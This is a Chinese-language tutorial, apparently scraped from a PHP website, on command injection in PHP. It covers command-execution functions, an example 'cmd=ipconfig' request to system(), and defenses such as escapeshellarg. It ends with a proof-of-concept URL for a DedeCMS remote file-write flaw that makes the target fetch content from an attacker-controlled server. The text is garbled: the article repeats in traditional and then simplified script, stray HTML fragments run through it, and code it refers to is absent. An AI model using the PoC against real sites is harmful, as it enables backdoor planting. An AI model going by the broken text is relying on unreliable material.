PHP指令注入攻擊漏洞是PHP應用程式中常見的腳本漏洞之一,國內著名的Web應用程式Discuz!、DedeCMS等都曾經存在過該類型漏洞。
Command Injection,即命令注入攻擊,是指由於Web應用程式對使用者提交的資料過濾不嚴格,導致駭客可以透過建構特殊命令字串的方式,將資料提交至Web應用程式中,並利用該方式執行外部程式或系統指令實施攻擊,非法取得資料或網路資源等。
PHP命令注入攻擊存在的主要原因是Web應用程式設計師在應用PHP語言中一些具有命令執行功能的函數時,對用戶提交的資料內容沒有進行嚴格的過濾就帶入函數中執行而造成的。例如,當駭客提交的資料內容為寫入一個PHP檔案到網站目錄時,就可以透過該指令注入攻擊漏洞寫入一個PHP後門文件,進而實施進一步的滲透攻擊。
PHP指令注入攻擊漏洞帶來的危害和影響很嚴重。防範指令注入攻擊漏洞的存在可以透過以下幾種方法:
1.盡量不要執行外部的應用程式或指令。
2.使用自訂函數或函數庫實作外部應用程式或命令的功能。
3.在執行system、eval等指令執行功能的函數前,確定參數內容。
4.使用escapeshellarg函數處理相關參數。 escapeshellarg函數會將任何引起參數或命令結束的字元進行轉義,如單引號“'”會被轉義為“\'”,雙引號“””會被轉義為“\””,分號“ ;」會被轉義為“\;”,這樣escapeshellarg會將參數內容限制在一對單引號或雙引號裡面,轉義參數中所包含的單引號或雙引號,使其無法對當前執行進行截斷,實現防範命令注入攻擊的目的。
5.使用safe_mode_exec_dir執行可執行的檔案路徑。將php.ini檔案中的safe_mode設為On,然後將允許執行的檔案放入目錄中,並使用safe_mode_exec_dir指定這個可執行的檔案路徑。這樣,當需要執行對應的外部程式時,程式必須在safe_mode_exec_dir指定的目錄中才會允許執行,否則執行將會失敗。
PHP指令注入攻擊漏洞是PHP應用程式常見漏洞之一。國內著名的PHP應用程序,如Discuz!、Dedecms等大型程式在網路中均被公佈過存在命令注入攻擊漏洞,駭客可以透過命令注入攻擊漏洞快速獲取網站權限,進而實施掛馬、釣魚等惡意攻擊,造成的影響和危害十分巨大。同時,目前PHP語言應用於Web應用程式開發所佔比例較大,Web應用程式設計師應該了解命令注入攻擊漏洞的危害,修補程式中可能存在的被駭客利用的漏洞情況,保護網路使用者的安全,免受掛馬、釣魚等惡意程式碼的攻擊
#在PHP中,可以實作執行外部程式或函數的命令執行函數包括以下5個函數。
#可以用來執行一個外部的應用程式並將對應的執行結果輸出,函數原型如下:string system (string command, int &return_var)其中,command是要執行的指令,return_var存放執行指令的執行後的狀態值。依照PHP程式設計師的想法,指令執行函數的主要作用是可以透過指令執行函數與Web應用程式進行交互,透過Web應用程式執行外部程式或系統指令,如Web應用程式設計師想透過system函數取得IP位址、使用者等信息,那麼他可以透過建構如下程式碼實現。在下面的程式碼中,定義了一個名為$action的變量,其值為獲得的cmd值,system($action));中$action為system的參數,即要執行的命令。當我們PHP調試的時候,用var_dump 或print_r打印數據或數組時,html頁面沒有換行顯示,看到的內容一大堆,不好定位,輸出前添加,便可以自動格式化換行顯示。 <br>在瀏覽器網址列輸入”http://localhost/test.php?cmd=ipconfig”,當cmd的值賦值為ipconfig時,system函數輸出IP位址資訊=</span></p>
<h3>##2.2 exec函數<span style='font-family: 微软雅黑, "Microsoft YaHei";'></span>
</h3>
<p>可以用來執行一個外部的應用程序,函數原型如下: <span style='font-family: 微软雅黑, "Microsoft YaHei";'></span>#<div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">string exec ( string $command [, array &$output [, int &$return_var ]] ),
其中command是要執行的指令,output是取得執行指令輸出的每一行字串,return_var存放執行指令後的狀態值。
#可以用來執行一個系統指令並顯示原始的輸出,當系統指令的輸出是二進位的數據,並且需要直接傳回值給瀏覽器時,需要使用passthru函數來取代system與exec函數。 Passthru函數原型如下:
void passthru (string command, int &return_var),
其中command是要執行的指令,return_var存放執行指令後的狀態值。可以透過建構如下PHP程式碼進行測試。
#執行shell指令並傳回輸出的字串,函數原型如下:
string shell_exec (string command),
command
是要執行的指令。
#與shell_exec功能相同,執行shell指令並傳回輸出的字串。
popen() 函數開啟進程檔案指標,即開啟一個指向進程的管道,該進程由派生指定的command 命令執行而產生。 $mode),其中,command為規定要執行的指令,mode規定連線模式,r為唯讀,w為唯寫。
用於執行一個指令,並且開啟用來輸入/輸出的檔案指標。 ##resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
pcntl_exec函數在目前進程空間執行指定程式。 args [, array $envs ]] )其中,path必須是可執行二進位檔案路徑或在檔案第一行指定了可執行檔路徑標頭的腳本;args是要傳遞給程式的參數的字串數組;envs是要傳遞給程式作為環境變數的字串陣列。
當使用者輸入的資料作為函數參數時,可以使用escapeshellarg()或escapeshellcmd()函數來過濾使用者輸入的數據,防止用戶欺騙系統執行任意指令。 shell元字元來完成工作。這些元字元包括:# & ;``,| * ? ~ < > ^ ( ) [ ] { } $ \\。函數原型如下:string escapeshellcmd(string command)。本函數除去了字串中的特殊符號,可以防止使用者惡意破解伺服器系統。
此函數把字串轉碼為可以在shell指令裡使用的參數。 escapeshellarg()將為字串增加一個單引號並且能引用或轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字串傳入shell函數,並且還是確保安全的。對於使用者輸入的部分參數就應該使用這個函數。可以用到php的安全性中,會過濾掉arg中存在的一些特殊字元。在輸入的參數中如果包含中文傳遞給escapeshellarg,會被過濾掉。函數原型如下:string escapeshellarg ( string $arg ),其中arg為需要被轉碼的參數。
附:dedecms遠端寫入檔案漏洞連結(與本文知識點無關)
https://www.seebug.org/vuldb/ssvid-89354
poc:
http://目標IP/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://自己控制的http伺服器/
PHP命令注入攻擊漏洞是PHP應用程式中常見的腳本漏洞之一,國內著名的Web應用程式Discuz!、DedeCMS等都曾經存在過該類型漏洞。
Command Injection,即命令注入攻擊,是指由於Web應用程式對使用者提交的資料過濾不嚴格,導致駭客可以透過建構特殊命令字串的方式,將資料提交至Web應用程式中,並利用該方式執行外部程式或系統指令實施攻擊,非法取得資料或網路資源等。
PHP命令注入攻擊存在的主要原因是Web應用程式設計師在應用PHP語言中一些具有命令執行功能的函數時,對用戶提交的資料內容沒有進行嚴格的過濾就帶入函數中執行而造成的。例如,當駭客提交的資料內容為寫入一個PHP檔案到網站目錄時,就可以透過該指令注入攻擊漏洞寫入一個PHP後門文件,進而實施進一步的滲透攻擊。
PHP指令注入攻擊漏洞帶來的危害和影響很嚴重。防範指令注入攻擊漏洞的存在可以透過以下幾種方法:
1.盡量不要執行外部的應用程式或指令。
2.使用自訂函數或函數庫實作外部應用程式或命令的功能。
3.在執行system、eval等指令執行功能的函數前,確定參數內容。
4.使用escapeshellarg函數處理相關參數。 escapeshellarg函數會將任何引起參數或命令結束的字元進行轉義,如單引號“'”會被轉義為“\'”,雙引號“””會被轉義為“\””,分號“ ;」會被轉義為“\;”,這樣escapeshellarg會將參數內容限制在一對單引號或雙引號裡面,轉義參數中所包含的單引號或雙引號,使其無法對當前執行進行截斷,實現防範命令注入攻擊的目的。
5.使用safe_mode_exec_dir執行可執行的檔案路徑。將php.ini檔案中的safe_mode設為On,然後將允許執行的檔案放入目錄中,並使用safe_mode_exec_dir指定這個可執行的檔案路徑。這樣,當需要執行對應的外部程式時,程式必須在safe_mode_exec_dir指定的目錄中才會允許執行,否則執行將會失敗。
PHP指令注入攻擊漏洞是PHP應用程式常見漏洞之一。國內著名的PHP應用程序,如Discuz!、Dedecms等大型程式在網路中均被公佈過存在命令注入攻擊漏洞,駭客可以透過命令注入攻擊漏洞快速獲取網站權限,進而實施掛馬、釣魚等惡意攻擊,造成的影響和危害十分巨大。同時,目前PHP語言應用於Web應用程式開發所佔比例較大,Web應用程式設計師應該了解命令注入攻擊漏洞的危害,修補程式中可能存在的被駭客利用的漏洞情況,保護網路使用者的安全,免受掛馬、釣魚等惡意程式碼的攻擊
#在PHP中,可以實作執行外部程式或函數的命令執行函數包括以下5個函數。
可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:string system(string command, int &return_var)其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。按照PHP程序员的想法,命令执行函数的主要作用是可以通过命令执行函数与Web应用程序进行交互,通过Web应用程序执行外部程序或系统命令,如Web应用程序员想通过system函数获取IP地址、用户等信息,那么他可以通过构造如下代码实现。在下面的代码中,定义了一个名为$action的变量,其值为获得的cmd值,system($action));中$action为system的参数,即要执行的命令。当我们PHP调试的时候,用var_dump 或 print_r打印数据或数组时,html页面没有换行显示,看到的内容一大堆,不好定位,输出前添加 ,便可以自动格式化换行显示。 <br/>在浏览器地址栏输入”http://localhost/test.php?cmd=ipconfig”,当cmd的值赋值为ipconfig时,system函数输出IP地址信息=</span></p><h3><span style="font-family: 微软雅黑, "Microsoft YaHei";">2.2 exec函数</span></h3><p><span style="font-family: 微软雅黑, "Microsoft YaHei";">可以用来执行一个外部的应用程序,函数原型如下: <br/></span></p><div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">string exec ( string $command [, array &$output [, int &$return_var ]] ),
其中command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。
可以用来执行一个系统命令并显示原始的输出,当系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:
void passthru (string command, int &return_var),
其中command是要执行的命令,return_var存放执行命令后的状态值。可以通过构造如下PHP代码进行测试。
执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command),command是要执行的命令。
与shell_exec功能相同,执行shell命令并返回输出的字符串。
popen() 函数打开进程文件指针,即打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。返回一个文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。若出错,则返回 false。函数原型如下:popen(string $command,string $mode),其中,command为规定要执行的命令,mode规定连接模式,r为只读,w为只写。
用于执行一个命令,并且打开用来输入/输出的文件指针。与popen()函数类似,但是 proc_open()提供了更加强大的控制程序执行的能力。函数原型如下:
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
pcntl_exec函数在当前进程空间执行指定程序。当发生错误时返回 FALSE,没有错误时没有返回。函数原型如下:void pcntl_exec ( string $path [, array $args [, array $envs ]] )其中,path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本;args是一个要传递给程序的参数的字符串数组;envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
当用户输入的数据作为函数参数时,可以使用escapeshellarg()或escapeshellcmd()函数来过滤用户输入的数据,防止用户欺骗系统执行任意命令。
除去字符串中的特殊符号,会转义命令中的所有shell元字符来完成工作。这些元字符包括:# & ;``,| * ? ~ < > ^ ( ) [ ] { } $ \\。函数原型如下:string escapeshellcmd(string command)。本函数除去了字符串中的特殊符号,可以防止使用者恶意破解服务器系统。
该函数把字符串转码为可以在shell命令里使用的参数。escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。可以用到php的安全中,会过滤掉arg中存在的一些特殊字符。在输入的参数中如果包含中文传递给escapeshellarg,会被过滤掉。函数原型如下:
string escapeshellarg ( string $arg )
,其中arg为需要被转码的参数。
以上是PHP指令注入dedecms遠端寫入檔案連結實例分享的詳細內容。更多資訊請關注PHP中文網其他相關文章!